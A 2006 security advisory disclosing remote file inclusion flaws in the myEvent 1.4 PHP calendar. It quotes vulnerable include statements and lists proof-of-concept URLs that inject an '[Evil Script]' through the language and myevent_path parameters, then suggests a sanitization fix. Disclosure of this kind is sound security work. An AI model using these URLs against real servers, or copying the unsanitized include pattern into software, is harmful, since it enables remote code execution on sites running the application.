myEvent <= 1.4 Multiple Remote File Include Vulnerabilities
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myEvent 1.4 Multiple Remote File Include Vulnerabilities
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Author : Sh3ll
Date : 2006/08/11
HomePage : http://www.sh3ll.ir
Contact : sh3ll[at]sh3ll[dot]ir
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Affected Software Description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : myEvent
version : 1.4
Venedor : http://www.mywebland.com
Class : Remote File Inclusion
Risk : High
Summary :
myEvent Is a Dynamic Calendar Based Events Management System.
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Vulnerability:
~~~~~~~~~~~~~
in admin.php , event.php , initialize.php , myevent.php , viewevent.php We
Found
Vulnerability Script
----------------------------------------admin.php--------------------------------------
....
<?php
include_once($language);
?>
...
----------------------------------------event.php--------------------------------------
....
<?php
include_once $myevent_path."includes/template.php";
?>
...
--------------------------------------initialize.php-----------------------------------
....
<?php
include $myevent_path."config.php";
include $myevent_path.$language;
include_once $myevent_path."includes/template.php"
?>
...
----------------------------------------myevent.php------------------------------------
....
<?php
include_once $myevent_path."initialize.php";
?>
...
---------------------------------------viewevent.php-----------------------------------
....
<?php
include_once $myevent_path."initialize.php";
?>
...
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PoC:
~~~
http://www.target.com/[myEvent]/admin.php?language=[Evil Script]
http://www.target.com/[myEvent]/event.php?myevent_path=[Evil Script]
http://www.target.com/[myEvent]/initialize.php?myevent_path=[Evil Script]
http://www.target.com/[myEvent]/myevent.php?myevent_path=[Evil Script]
http://www.target.com/[myEvent]/viewevent.php?myevent_path=[Evil Script]
Solution:
~~~~~~~~
Sanitize Variabel $language in admin.php & Sanitize Variabel $myevent_path in
admin.php
event.php , initialize.php , myevent.php , viewevent.php
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Note:
~~~~
Venedor Contacted, But No Response. So Do a Dirty Patch.
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Shoutz:
~~~~~~
~ Special Greetz To My Best Friend N4sh3n4s & My GF Atena
~ To All My Friends in Xmors - Aria - Hackerz & Other Iranian Cyber Teams